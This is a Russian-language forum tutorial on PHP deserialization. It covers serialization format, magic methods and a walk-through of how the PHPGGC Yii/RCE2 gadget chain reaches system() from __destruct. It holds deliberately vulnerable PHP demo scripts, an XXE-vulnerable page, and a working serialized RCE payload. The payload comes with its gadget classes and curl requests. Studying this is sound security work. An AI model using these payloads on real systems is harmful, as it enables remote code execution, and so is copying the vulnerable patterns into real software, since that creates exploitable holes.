Десериализация 102 [ PHP ]

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
В этой статье мы разберём базовые аспекты сериализации и десериализации в PHP, а также посмотрим, как формируются определённые пэйлоуды (сериализованные строки), которые часто можно встретить в различных фреймворках.

Это продолжение предыдущей статьи, так что тут минимальные объяснения.

Словарь​

Сериализация – это процесс преобразования сложных структур данных в строковый формат. Проще говоря, это процесс превращения объекта в строку, чтобы его можно было сохранить или передать, а потом восстановить обратно при помощи десериализации.
Класс — это инструкция по созданию объектов.
Объект — это экземпляр, созданный на основе класса (инструкции).
Код: Скопировать в буфер обмена
Код:
class Cat { // Класс — это "рецепт" для создания объектов.
    public $name; // Свойство (характеристика) — имя кота.
    public function meow() { // Метод (действие) — что кот умеет делать.
        echo $this->name . " говорит: Мяу!";
    }
}

// Создаём объект на основе класса Cat.
$myCat = new Cat();
$myCat->name = "Барсик"; // Устанавливаем имя кота.
$myCat->meow(); // Выводит: Барсик говорит: Мяу!

PHP​

Рассмотрим следующий код:
Код: Скопировать в буфер обмена
Код:
php
<?php
$userInfo = [
    'username' => 'admin',
    'email' => 'admin@example.com',
    'roles' => ['admin', 'editor']
];

$serialized = serialize($userInfo);
echo $serialized, "\n";
Если запустить этот код, на выходе мы получим что-то подобное:
Код: Скопировать в буфер обмена
a:3:{s:8:"username";s:5:"admin";s:5:"email";s:17:"admin@example.com";s:5:"roles";a:2:{i:0;s:5:"admin";i:1;s:6:"editor";}}
Давайте разберём этот формат:
a: означает, что мы имеем дело с сериализованным массивом. После двоеточия указано число элементов массива.
s: означает строку, за которой идёт её длина в байтах и сама строка.
i: указывает на целочисленный индекс. Внутри фигурных скобок {} – данные массива.

Цифры указывают либо на количество элементов массива (a:3: говорит о трёх ключах массива), либо на длину строк. Структура вложенных массивов также отражена вложенными фигурными скобками.

Для десериализации воспользуемся простым скриптом:
Код: Скопировать в буфер обмена
Код:
<?php
if ($argc < 2) {
    echo "Usage: php unserialize_cli.php '<serialized_data>'\n";
    exit(1);
}

$serialized = $argv[1];

$unserialized = unserialize($serialized);

if ($unserialized === false && $serialized !== serialize(false)) {
    echo "Error: Failed to unserialize the input. Please ensure it's valid serialized data.\n";
    exit(1);
}

print_r($unserialized);
?>
Применим его к ранее полученной строке:
Код: Скопировать в буфер обмена
php unserialize_cli.php 'a:3:{s:8:"username";s:5:"admin";s:5:"email";s:17:"admin@example.com";s:5:"roles";a:2:{i:0;s:5:"admin";i:1;s:6:"editor";}}'
Результат:
Код: Скопировать в буфер обмена
Код:
Array
(
    [username] => admin
    [email] => admin@example.com
    [roles] => Array
        (
            [0] => admin
            [1] => editor
        )
)
Таким образом, мы смогли "восстановить" исходный массив из сериализованной строки.

Теперь перейдём от простых массивов к объектам. Возьмём следующий код:
Код: Скопировать в буфер обмена
Код:
<?php
class User {
    public $username;
    public $email;

    public function __construct($username, $email) {
        $this->username = $username;
        $this->email = $email;
        print('My name is ' . $username . "\n");
    }
}

$user = new User('alice', 'alice@example.com');
$serialize = serialize($user);
echo $serialize;
echo "\n";
?>
При запуске:
Код: Скопировать в буфер обмена
Код:
php example.php
My name is alice
O:4:"User":2:{s:8:"username";s:5:"alice";s:5:"email";s:17:"alice@example.com";}
Здесь мы видим следующее:
O:4:"User":2: говорит о том, что мы имеем объект (O) класса User с именем длиной 4 символа (User) и двумя свойствами. Далее перечислены эти свойства.

Важно: Конструктор __construct() был вызван при создании объекта $user. Сериализация объекта не вызывает конструктор ещё раз, она просто сохраняет текущее состояние свойств.

Попробуем заменить __construct на метод с другим именем (например, hmm):
Код: Скопировать в буфер обмена
Код:
<?php
class User {
    public $username;
    public $email;

    public function hmm($username, $email) {
        $this->username = $username;
        $this->email = $email;
        print('My name is ' . $username . "\n");
    }
}

$user = new User('alice', 'alice@example.com');
$serialize = serialize($user);
echo $serialize;
echo "\n";
Если запустить:
Код: Скопировать в буфер обмена
Код:
php example.php
O:4:"User":2:{s:8:"username";N;s:5:"email";N;}
Теперь мы видим, что при создании объекта с помощью new User('alice', 'alice@example.com') метод hmm() не сработал, так как он не является конструктором. Имя конструктора в современных версиях PHP строго фиксировано как __construct. Без вызова конструктора (или без инициализации свойств другим образом) значения свойств остались N (NULL).

Магические методы сериализации​

PHP предоставляет магические методы, которые помогают контролировать процесс сериализации и десериализации:
__sleep() вызывается перед сериализацией объекта через serialize(). Он должен вернуть массив свойств, которые нужно сериализовать.

Если мы проверим phpggc, то увидим, что там нет ни одного пейлоуда с вектором через __sleep. Технически, через __sleep тоже возможно воспользоваться десериализацией, просто он должен возвращать массив с именами свойств объекта, которые мы хотим сериализовать:
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
    public $filename;
    public $content;

    public function __sleep() {
        file_put_contents($this->filename, $this->content);
    return ['filename', 'content'];
    }
}

$xd = new Dangerous();
$xd ->filename = '/tmp/kupalinka.txt';
$xd ->content = ' cyomnaya nochka...';
$serialize = serialize($xd);
echo $serialize;
echo "\n";
?>
Ответ:
Код: Скопировать в буфер обмена
O:9:"Dangerous":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:19:" cyomnaya nochka...";}
Файл создался
Код: Скопировать в буфер обмена
Код:
cat /tmp/kupalinka.txt
 cyomnaya nochka...
Но тут есть проблема: в нормальном случае не выйдет передать запрос в такой форме, чтобы он создал объект, а не массив или строку.

Объясню так: представим, что у нас веб-сервер, который будет сериализовать наш инпут:
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
    public $filename;
    public $content;

    public function __sleep() {
        file_put_contents($this->filename, $this->content);
        return ['filename', 'content'];
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $malicious = json_decode($_POST['data'] ?? '', true);;

    if (!empty($malicious)) {
        serialize($malicious);
        echo serialize($malicious);
        echo "\n";
    } else {
        echo "No input provided.";
    }
} else {
    echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Стартнем веб сервер:
Код: Скопировать в буфер обмена
php -S 0.0.0.0 8080
Отправляем запрос:
Код: Скопировать в буфер обмена
curl http://localhost:8080/xss.php -X POST -d 'data={"filename":"/tmp/kupalinka.txt","content":"cyomnaya nochka..."}'
Ответ:
Код: Скопировать в буфер обмена
a:2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:18:"cyomnaya nochka...";}
Причина в том, что $_POST['data'] декодируется через json_decode с флагом true, что означает преобразование JSON в ассоциативный массив. Если вы отправите объект в JSON-формате (например, {"key":"value"}), json_decode вернёт массив ['key' => 'value'], а не объект.

Если мы уберём true:
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
    public $filename;
    public $content;

    public function __sleep() {
        file_put_contents($this->filename, $this->content);
    return ['filename', 'content'];
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $malicious = json_decode(
    ?? '');;

    if (!empty($malicious)) {
        serialize($malicious);
        echo serialize($malicious);
        echo "\n";
    } else {
        echo "No input provided.";
    }
} else {
    echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Отправляем запрос:
Код: Скопировать в буфер обмена
curl http://localhost:8080/xss.php -X POST -d 'data={"filename":"/tmp/kupalinka.txt","content":"cyomnaya nochka..."}'
Ответ:
Код: Скопировать в буфер обмена
O:8:"stdClass":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:18:"cyomnaya nochka...";}
Вместо Dangerous, здесь стоит stdClass. Когда мы вызываем json_decode без второго параметра, JSON-объекты интерпретируются как экземпляры stdClass — встроенного класса PHP для анонимных объектов. Объект типа stdClass создаётся по умолчанию, так как JSON не содержит информации о конкретном пользовательском классе.

А что если попробовать передать Dangerous в JSON? Даже если передадим JSON с информацией о классе, json_decode не создаст объект пользовательского класса — он просто не умеет это делать самостоятельно.
Код: Скопировать в буфер обмена
curl http://localhost:8080/des3.php -X POST -d 'data={"Dangerous":{"filename":"/tmp/kupalinka.txt","content":"cyomnaya nochka..."}}'
Ответ:
Код: Скопировать в буфер обмена
O:8:"stdClass":1:{s:9:"Dangerous";O:8:"stdClass":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:18:"cyomnaya nochka...";}}
В каком случае можно будет вставить объект? Только если разработчик вручную создаст экземпляр класса Dangerous на основе входных данных. То есть нужно специально добавить уязвимость.
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
    public $filename;
    public $content;

    public function __sleep() {
        file_put_contents($this->filename, $this->content);
    return ['filename', 'content'];
    }
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $malicious = json_decode($_POST['data'] ?? '', true);

    if (!empty($malicious)) {
        $dangerous = new Dangerous();
        $dangerous->filename = $malicious['filename'];
        $dangerous->content = $malicious['content'];

        echo serialize($dangerous);
        echo "\n";
    } else {
        echo "No input provided.";
    }
} else {
    echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Запрос:
Код: Скопировать в буфер обмена
curl http://localhost:8080/des3.php -X POST -d 'data={"filename":"/tmp/kupalinka.txt","content":"cyomnaya nochka..."}'
Ответ:
Код: Скопировать в буфер обмена
Код:
O:9:"Dangerous":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:18:"cyomnaya nochka...";}

cat /tmp/kupalinka.txt
cyomnaya nochka...
В целом понятно, почему __sleep мы почти нигде не встречаем. Тогда уязвимость назвали бы "сериализацией", а не "десериализацией".
__wakeup() вызывается после десериализации объекта через unserialize(). __sleep предназначен для подготовки объекта к сериализации, а __wakeup — для его восстановления после десериализации.
Всё что я сделал это поставил wakeup и unserialize
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
    public $filename;
    public $content;

    public function __wakeup() {
        file_put_contents($this->filename, $this->content);
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $malicious = $_POST['data'];

    if (!empty($malicious)) {
        unserialize($malicious);
    } else {
        echo "No input provided.";
    }
} else {
    echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Запрос:
Код: Скопировать в буфер обмена
curl http://localhost:8080/xss.php -X POST -d 'data=O:9:"Dangerous":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:19:" cyomnaya nochka...";}'
Ответ:
Код: Скопировать в буфер обмена
Код:
cat /tmp/kupalinka.txt
 cyomnaya nochka...
unserialize(). Обычно используется для восстановления ресурсов или установления необходимых соединений. Пример выше и так есть.
__destruct() вызывается при уничтожении объекта. Но важно понимать, что он не вызывается во время сериализации или десериализации, а только при фактическом уничтожении объекта (например, в конце выполнения скрипта). Меняем wakeup на destruct и всё сработает.
__toString() вызывается, когда объект пытаются преобразовать в строку (например, при echo $obj). В целом это означет то что нам нужно будет воспольсоваться echo, чтобы эта функция вызвалась
Пример с __toString():
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
    public $filename;
    public $content;

    public function __toString() {
        file_put_contents($this->filename, $this->content);
        return "Worked";
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $malicious = $_POST['data'];

    if (!empty($malicious)) {
        echo unserialize($malicious);
        echo "\n";
    } else {
        echo "No input provided.";
    }
} else {
    echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Запрос:
Код: Скопировать в буфер обмена
Код:
curl http://localhost:8080/xss.php  -X POST -d 'data=O:9:"Dangerous":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:19:" cyomnaya nochka...";}'

Worked
Ответ:
Код: Скопировать в буфер обмена
Код:
Worked


cat /tmp/kupalinka.txt
 cyomnaya nochka...
Мы уже должны понимать суть магических методов и почему злоумышленники фокусируются именно на десериализации.

Гаджеты​

Гаджеты (gadgets) — это фрагменты кода, которые можно использовать при эксплуатации уязвимостей десериализации. PHPGGC — это инструмент, который помогает находить такие цепочки гаджетов для известных фреймворков, библиотек и приложений. Например, для Yii/RCE2:
Код: Скопировать в буфер обмена
Код:
Laravel/RCE19 1.1.20 RCE: Function Call __destruct

phpggc Yii/RCE2 system id

O:15:"WikiPublishTask":1:{s:28:"WikiPublishTaskcookiesFile";O:39:"Prophecy\Argument\Token\ExactValueToken":2:{s:45:"Prophecy\Argument\Token\ExactValueTokenutil";O:44:"PHPUnit_Extensions_Selenium2TestCase_Session":3:{s:11:"*commands";a:1:{s:9:"stringify";s:6:"system";}s:6:"*url";O:40:"PHPUnit_Extensions_Selenium2TestCase_URL":0:{}s:9:"*driver";O:23:"DocBlox_Parallel_Worker":0:{}}s:46:"Prophecy\Argument\Token\ExactValueTokenvalue";s:2:"id";}}
Наша цель, научится писать гаджеты самими, так как рано или поздно появится ситуация, в которой изучать мы это будем сами. Но чтобы научиться писать, нужен какой то пример чтобы разобрать его. Я просмотрел всего один видос на эту тему, он был интересным, хоть и я уснул 3 раза при просмотре видоса на 30 минут. Проблема в том что хоть и парень неплохо объяснил, он сам не понимал некоторые концепты и не объяснял "глубь" дела.

Значит чтобы понять что происходит на самом деле, я подключил PHPGGC к xdebug

Ставим стэнд​

Для отладки и понимания мы ставим необходимое окружение (PHP, xdebug и т.д.).
Код: Скопировать в буфер обмена
Код:
sudo add-apt-repository ppa:ondrej/php
sudo apt install php8.1 php8.1-cli php8.1-common php8.1-mysql php8.1-xml php8.1-mbstring php8.1-curl php8.1-zip php8.1-bcmath php8.1-intl
sudo update-alternatives --set php /usr/bin/php8.1
wget 'https://github.com/yiisoft/yii/archive/refs/tags/1.1.20.zip'
unzip 1.1.20.zip
cp yii-1.1.20 /var/www/html -R
chown www-data:www-data /var/www/html -R
apt install php8.1-xdebug php8.1-fpm -y

nano /etc/php/8.1/cli/php.ini
zend_extension=xdebug.so
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9003
xdebug.log=/tmp/xdebug.log
Потом в xdebug качаете что надо и готово.(вы должны сделать ремоут дебуг через ssh, открыть местоположение phpggc).
Парочка вещей
Перед тем как продолжить, нужно понять парочку вещей.
Callback — это функция / метод, который можно передать как переменную и затем выполнить.
call_user_func_array — это функция PHP, которая вызывает коллбэк с массивом аргументов. Она позволяет выполнять функции динамически, передавая аргументы в виде массива.
Код: Скопировать в буфер обмена
call_user_func_array(callable $callback, array $args);
Примеры коллбэков:
Код: Скопировать в буфер обмена
Код:
function add($a, $b) {
    return $a + $b;
}
// Динамический вызов функции
$result = call_user_func_array('add', [2, 3]);
echo $result; // Вывод: 5
Продолжаем
Значит и так понятно то как phpggc работает, там код который генерирует пэйлоад. Вопрос в том, что именно работает, когда этот пэйлоад используется и как нам его потестить. Я лично (почти) ни в каком фреймворке уязвимости не находил. К счастью у phggc есть --test-payload. Но к сожалению, он только проверяет уязвима ли система и всё, мы не можем написать туда свой пэйлоад. Но тут появляется вопрос "Как он проверяет?".

Археология​

Копаем, короче, чтобы понять, что-где-когда. Начнём с самого простого.
1 - Hu20Uhp.png


Изображение [1]​
Поискав тест пэйлоад, можно увидеть, что если он используется, то работает функция test_payload($gc) без никаких аргументов от пользователя, кроме имени уязвимого продукта.
Код: Скопировать в буфер обмена
Код:
$gc = $this->get_gadget_chain($class);
// $class в нашем случаи Yii/RCE2
// $gc это то что внутри Yii/RCE2 chain.php
То что ниже в нашем случаи
<?php

namespace GadgetChain\Yii;

class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '1.1.20';
    public static $vector = '__destruct';
    public static $author = ' ';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        $a = new \WikiPublishTask($function, $parameter);

        return $a;
    }
}
Скажу честно, написать что-то такого рода с нуля, на данный момент, не мой уровень, так что ожидайте Десериализацию 103. Но понять я точно смогу этот.
Код: Скопировать в буфер обмена
phpggc --test-payload Yii/RCE2 system id
Начнём с анализа самого phpggc.
5 - Th8eQ2y.png


Изображение [2]​
Значит, тут он старается вызвать echo sha1 > sha1 и после проверяет, так ли это. В параметре всё видно:
2 - SYYLrNd.png


Изображение [3]​
Значит, во время проверки он просто даёт текст в файл и проверяет, есть ли этот текст там. Если отредактировать код, то можно легко сделать так, чтобы он принимал именно то, что нам нужно. Но пока что давайте чекнем очередь.

Создаётся команда и аргумент
Код: Скопировать в буфер обмена
Код:
lib/PHPGGC.php
$arguments = $gc->test_setup();
lib/PHPGGC/GadgetChain/RCE/FunctionCall.php
    public function test_setup()
    {
        $command = $this->_test_build_command();
        return [
            'function' => 'system',
            'parameter' =>
                $command
        ];
    }
lib/PHPGGC/GadgetChain/RCE.php
    protected function _test_build_command()
    {
        $this->__test_rand_token = sha1(rand());
        $this->__test_rand_path = \PHPGGC\Util::rand_path();
        return
            'echo ' . $this->__test_rand_token .
            ' > ' . $this->__test_rand_path
        ;
    }
Посло происходит сериализация
Код: Скопировать в буфер обмена
$payload = $this->serialize($gc, $arguments);
Потом даётся 2 аргумента (vector и base64(payload)) в файл и выполняется файл.
Код: Скопировать в буфер обмена
Код:
lib/PHPGGC.php
        $output = shell_exec(
            PHP_BINARY . ' ' .
            escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' .
            escapeshellarg($vector) . ' ' .
            escapeshellarg(base64_encode($payload))
        );

lib/test_payload.php
#!/usr/bin/env php
<?php
# Runs given payload assuming given vector
# TODO Add offsetGet, etc. when the time comes

error_reporting(E_ALL);

if($argc < 2)
{
    print($argv[0] . ' <vector> <base64_payload>' . "\n");
    exit(0);
}

$vector = $argv[1];
$payload = base64_decode($argv[2]);

if(file_exists('test.php'))
{
    require('test.php');
    exit(0);
}
if(!file_exists('vendor/autoload.php'))
{
    fwrite(STDERR, 'Unable to load either test.php or vendor/autoload.php' . "\n");
    exit(1);
}

require('vendor/autoload.php');

# The payload must be processed in function of its form:
# Phar: Try to get the content of the only file in the PHAR file
switch($vector)
{
    case 'phar':
        $phar = sys_get_temp_dir() . '/phpggc.phar';
        file_put_contents($phar, $payload);
        var_dump(file_get_contents('phar://' . $phar . '/test.txt'));
        unlink($phar);
        break;
    case '__toString':
        $payload = unserialize($payload);
        print($payload);
        break;
    case '__destruct':
    case '__wakeup':
        $payload = unserialize($payload);
        break;
    default:
        print('Unable to test payload via vector "' . $vector . '"' . "\n");
}
Вектор у нас destruct. В этом случае скрипт просто десериализует пэйлоуд.
Код: Скопировать в буфер обмена
Код:
cat /tmp/phpggc64b4245e7c881f0df4610caedcf3e95d06d85e38
4fcdcddc5632cedbe5c1e27328bbb4e453dd046c
После того как мы поняли, как работает phpggc, вопросов стало больше, чем ответов. Что за vendor/autoload.php? Composer генерирует файл vendor/autoload.php, в котором прописан механизм автозагрузки. Почему это важно? Потому что autoload.php создаёт среду, где все классы, зарегистрированные в composer.json или используемых библиотеках, будут подгружаться автоматически по мере необходимости.

А теперь посмотрим на само приложение. Относительно phpggc наш гаджет таков:
Код: Скопировать в буфер обмена
Код:
<?php

namespace Prophecy\Argument\Token
{
    class ExactValueToken
    {
        private $util;
        private $value;

        function __construct($function, $parameter)
        {
            $this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function);
            $this->value = $parameter;
        }
    }
}

namespace
{
    class WikiPublishTask
    {
        private $cookiesFile;

        function __construct($function, $parameter)
        {
            $this->cookiesFile = new \Prophecy\Argument\Token\ExactValueToken(
                $function, $parameter
            );
        }
    }

    class PHPUnit_Extensions_Selenium2TestCase_Session
    {
        protected $commands;
        protected $url;
        protected $driver;

        function __construct($function)
        {
            $this->commands = ['stringify' => $function];
            $this->url = new PHPUnit_Extensions_Selenium2TestCase_URL();
            $this->driver = new DocBlox_Parallel_Worker();
        }
    }

    class PHPUnit_Extensions_Selenium2TestCase_URL
    {
    }

    class DocBlox_Parallel_Worker
    {
    }
}
Поначалу непонятно, как это приводит к RCE. Но ясно одно: сердцем механизма является WikiPublishTask.

WikiPublishTask создаёт cookiesFile. Чтобы создать его, используется ExactValueToken, который, в свою очередь, задействует PHPUnit_Extensions_Selenium2TestCase_Session, а там функция (например, system) передаётся как значение для stringify. Кроме того, PHPUnit_Extensions_Selenium2TestCase_Session использует PHPUnit_Extensions_Selenium2TestCase_URL и DocBlox_Parallel_Worker.

PHPUnit_Extensions_Selenium2TestCase_Session​

Начнём с PHPUnit_Extensions_Selenium2TestCase_Session, так как он это основа всего этого.
Код: Скопировать в буфер обмена
Код:
class PHPUnit_Extensions_Selenium2TestCase_Session
    extends PHPUnit_Extensions_Selenium2TestCase_Element_Accessor
Ключевое слово extends указывает, что новый класс наследует свойства и методы другого класса — PHPUnit_Extensions_Selenium2TestCase_Element_Accessor.
Код: Скопировать в буфер обмена
Код:
abstract class PHPUnit_Extensions_Selenium2TestCase_Element_Accessor
    extends PHPUnit_Extensions_Selenium2TestCase_CommandsHolder
Так как класс Element_Accessor абстрактный, мы не можем создать его экземпляр напрямую. Но Session наследует Element_Accessor, а тот — CommandsHolder, значит Session получает доступ ко всем методам и свойствам CommandsHolder.

Внутри CommandsHolder есть такое:
Код: Скопировать в буфер обмена
Код:
    public function __call($commandName, $arguments)
    {
        $jsonParameters = $this->extractJsonParameters($arguments);
        $response = $this->driver->execute($this->newCommand($commandName, $jsonParameters));
        return $response->getValue();
    }

...

    protected function newCommand($commandName, $jsonParameters)
    {
        if (isset($this->commands[$commandName])) {
            $factoryMethod = $this->commands[$commandName];
            $url = $this->url->addCommand($commandName);
            $command = $factoryMethod($jsonParameters, $url);
            return $command;
        }
        throw new BadMethodCallException("The command '$commandName' is not existent or not supported yet.");
    }
Метод __call вызывается, когда мы обращаемся к несуществующему методу. Он принимает имя вызываемого метода (\$commandName) и аргументы ($arguments). Проще говоря, если вызвать метод, которого нет, сработает __call. Не забывайте это.

$this->driver — это объект, который отвечает за выполнение команд. Он получает созданную команду и выполняет её через метод execute. То есть драйвер — это "исполнитель".

newCommand вызывает \$factoryMethod($jsonParameters, $url); — фактически system('id', $url) или аналог, в зависимости от того, что мы передадим.

DocBlox_Parallel_Worker​

Код: Скопировать в буфер обмена
Код:
class DocBlox_Parallel_Worker
....
    public function execute()
    {
        $this->setReturnCode(0);
        try {
            $this->setResult(
                call_user_func_array($this->getTask(), $this->getArguments())
            );
        } catch (Exception $e) {
            $this->setError($e->getMessage());
            $this->setReturnCode($e->getCode());
        }
    }
Функция call_user_func_array позволяет вызвать функцию, передавая ей список аргументов в виде массива.

В конце когда посмотрим всё вместе я объясню причину, но вообще то функция execute делает буквально ничего для нас и если в гаджете заменить DocBlox_Parallel_Worker на S3GetTask ничего не поменяется.
7 - glbrifJ.png


Изображение [4]​
Внутри S3GetTask тоже есть функция execute().

PHPUnit_Extensions_Selenium2TestCase_URL​

PHPUnit_Extensions_Selenium2TestCase_URL возвращает команду просто в форме ссылки:
Код: Скопировать в буфер обмена
Код:
    public function descend($addition)
    {
        if ($addition == '') {
            // if we're adding nothing, respect the current url's choice of
            // whether or not to include a trailing slash; prevents inadvertent
            // adding of slashes to urls that can't handle it
            $newValue = $this->value;
        } else {
            $newValue = rtrim($this->value, '/')
                      . '/'
                      . ltrim($addition, '/');
        }
        return new self($newValue);
    }
Если команда — stringify, то станет /stringify.

ExactValueToken​

Внутри ExactValueToken есть __toString(), который вызывает \$this->util->stringify($this->value):
Код: Скопировать в буфер обмена
Код:
    public function __toString()
    {
        if (null === $this->string) {
            $this->string = sprintf('exact(%s)', $this->util->stringify($this->value));
        }

        return $this->string;
    }
$this->util — это Session. В Session нет метода stringify, поэтому вызывается __call в CommandsHolder.
Код: Скопировать в буфер обмена
$this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function);

WikiPublishTask​

Наконец то мы дошли до __destruct. Часть с check я сам добавил чтобы увидеть то, чем является cookiesFile:
Код: Скопировать в буфер обмена
Код:
    public function __destruct()
    {
        $check = [
            'type' => gettype($this->cookiesFile),
            'value' => print_r($this->cookiesFile, true)
        ];
        var_dump($check);
        if (null !== $this->curl && is_resource($this->curl)) {
            curl_close($this->curl);
        }
        if (null !== $this->cookiesFile && file_exists($this->cookiesFile)) {
            unlink($this->cookiesFile);
        }
    }
6 - rhFhvrd.png


Изображение [5]​
Так как мы создали cookiesFile воспользовавшись __construct, он является объектом. И работает такая функция:
Код: Скопировать в буфер обмена
if (null !== $this->cookiesFile && file_exists($this->cookiesFile))
file_exists вызовет __toString на объекте cookiesFile. Так как cookiesFile — это объект ExactValueToken, а там __toString вызывает stringify, которой нет, и мы уходим в __call, который, в итоге, запускает команду.

А что за stringify?​

Я уже писал что в Session нет stringify, из-за чего вызывается __call.
Почему именно PHPUnit_Extensions_Selenium2TestCase_Session?
Session нам нужен так как он вызовет __call внутри которого CommandsHolder.
Почему именно ExactValueToken?
Потому что там есть __toString который вызывает функцию которая не существует из-за чего начинает работать __call. Можнo ExactValueToken заменить на IdenticalValueToken, будет буквально одно и то же, так как там функция делает одно и то же:
Код: Скопировать в буфер обмена
Код:
    public function __toString()
    {
        if (null === $this->string) {
            $this->string = sprintf('identical(%s)', $this->util->stringify($this->value));
        }

        return $this->string;
    }
Можно также воспользоваться ObjectStateToken.

Я это пишу потому что я просмотрел все toString и только в 3ёх методах вызывает функцию в которую мы можем ПЕРЕДАТь класс PHPUnit_Extensions_Selenium2TestCase_Session.

Вот сама функция stringify:
Код: Скопировать в буфер обмена
Код:
    public function stringify($value, $exportObject = true)
    {
        if (is_array($value)) {
            if (range(0, count($value) - 1) === array_keys($value)) {
                return '['.implode(', ', array_map(array($this, __FUNCTION__), $value)).']';
            }

            $stringify = array($this, __FUNCTION__);

            return '['.implode(', ', array_map(function ($item, $key) use ($stringify) {
                return (is_integer($key) ? $key : '"'.$key.'"').
                    ' => '.call_user_func($stringify, $item);
            }, $value, array_keys($value))).']';
        }
        if (is_resource($value)) {
            return get_resource_type($value).':'.$value;
        }
        if (is_object($value)) {
            return $exportObject ? ExportUtil::export($value) : sprintf('%s:%s', get_class($value), spl_object_hash($value));
        }
        if (true === $value || false === $value) {
            return $value ? 'true' : 'false';
        }
        if (is_string($value)) {
            $str = sprintf('"%s"', str_replace("\n", '\\n', $value));

            if (50 <= strlen($str)) {
                return substr($str, 0, 50).'"...';
            }

            return $str;
        }
        if (null === $value) {
            return 'null';
        }

        return (string) $value;
    }
Он преобразует переданное значение в строку. Он поддерживает массивы, ресурсы, объекты, строки, булевые значения, null и другие типы данных. Например, массивы форматируются в строку вида "[ключ => значение]". В целом на вид тут нет RCE. Так что САМА эта функция ненужная НО она нам нужна тк в __toString должна использоваться функция stringify (НО не используется так как session не имеет её и вызывает __call).

Всё вместе​

Значит выходит так что __destruct(WikiPublishTask) ->__toString (ExactValueToken) -> __call (CommandsHolder) -> newCommand (CommandsHolder). Тут вообще интересная темка
Код: Скопировать в буфер обмена
Код:
    public function __call($commandName, $arguments)
        $response = $this->driver->execute($this->newCommand($commandName, $jsonParameters));
newCommand сработает раньше execute. Из-за чего я и написал что execute на самом деле не важен
Код: Скопировать в буфер обмена
$this->newCommand($commandName, $jsonParameters)
$url у нас '/stringify'.
Код: Скопировать в буфер обмена
Код:
php > $url = '/stringify';
php > system('id',$url);
uid=0(root) gid=0(root) groups=0(root)
php > print($url);
0
Функция system('id', $url) выполняет команду id на уровне операционной системы. Эта команда показывает информацию о текущем пользователе (например, UID, GID). Если всё прошло успешно, команда возвращает код выхода 0. В программировании код выхода 0 обычно означает "успешное выполнение". В данном случае команда id выполняется корректно, поэтому возвращает 0. Этот код записывается в переменную $url.

$url важен только из-за того что он используется в newCommand:
Код: Скопировать в буфер обмена
$url = $this->url->addCommand($commandName);
Тут url это класс, как и записано внутри гаджета
Код: Скопировать в буфер обмена
$this->url = new PHPUnit_Extensions_Selenium2TestCase_URL();
Другого класса с функцией addCommand нет. Также если там вместо класса напрямую принял бы url, то можно было бы написать что угодно и это сработало бы.

Я отредактировал гаджет, чтобы убедиться в том что вышенаписанное работает:
Код: Скопировать в буфер обмена
Код:
<?php

namespace Prophecy\Argument\Token
{
    class ObjectStateToken
    {
        private $util;
        private $value;

        function __construct($function, $parameter)
        {
            $this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function);
            $this->value = $parameter;
        }
    }
}

namespace
{
    class WikiPublishTask
    {
        private $cookiesFile;

        function __construct($function, $parameter)
        {
            $this->cookiesFile = new \Prophecy\Argument\Token\ObjectStateToken(
                $function, $parameter
            );
        }
    }

    class PHPUnit_Extensions_Selenium2TestCase_Session
    {
        protected $commands;
        protected $url;
        protected $driver;

        function __construct($function)
        {
            $this->commands = ['stringify' => $function];
            $this->url = new PHPUnit_Extensions_Selenium2TestCase_URL();
            $this->driver = new S3GetTask();
        }
    }

    class PHPUnit_Extensions_Selenium2TestCase_URL
    {
    }

    class S3GetTask
    {
    }
}
Оказывается легко.

Фары кароч​

Мы разберём PHAR десериализацию в контексте XXE
То что ниже, основано на одном приложении который я увидел. К сожалению просматривал его не на своём компе, так что не помню уже именно как там работала сериализация. Но был там loadXML , это точно.
Вот код который сгенерировал GPT с одной и той же логикой ХХЕ, логика сериализации отличается.
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
    public $filename;
    public $content;

    public function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $xmlInput = $_POST['xml'];

    // Load XML input (VULNERABLE TO XXE)
    $dom = new DOMDocument();
    $dom->loadXML($xmlInput, LIBXML_NOENT | LIBXML_DTDLOAD);

    // Parse and display the data (for demonstration)
    $root = $dom->documentElement;
    echo "<h3>Parsed XML Data:</h3>";
    echo "<pre>" . htmlspecialchars($dom->saveXML()) . "</pre>";
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Vulnerable XXE Example</title>
</head>
<body>
    <h1>Submit XML Data</h1>
    <form method="POST">
        <textarea name="xml" rows="10" cols="50"></textarea><br>
        <button type="submit">Submit</button>
    </form>
</body>
</html>
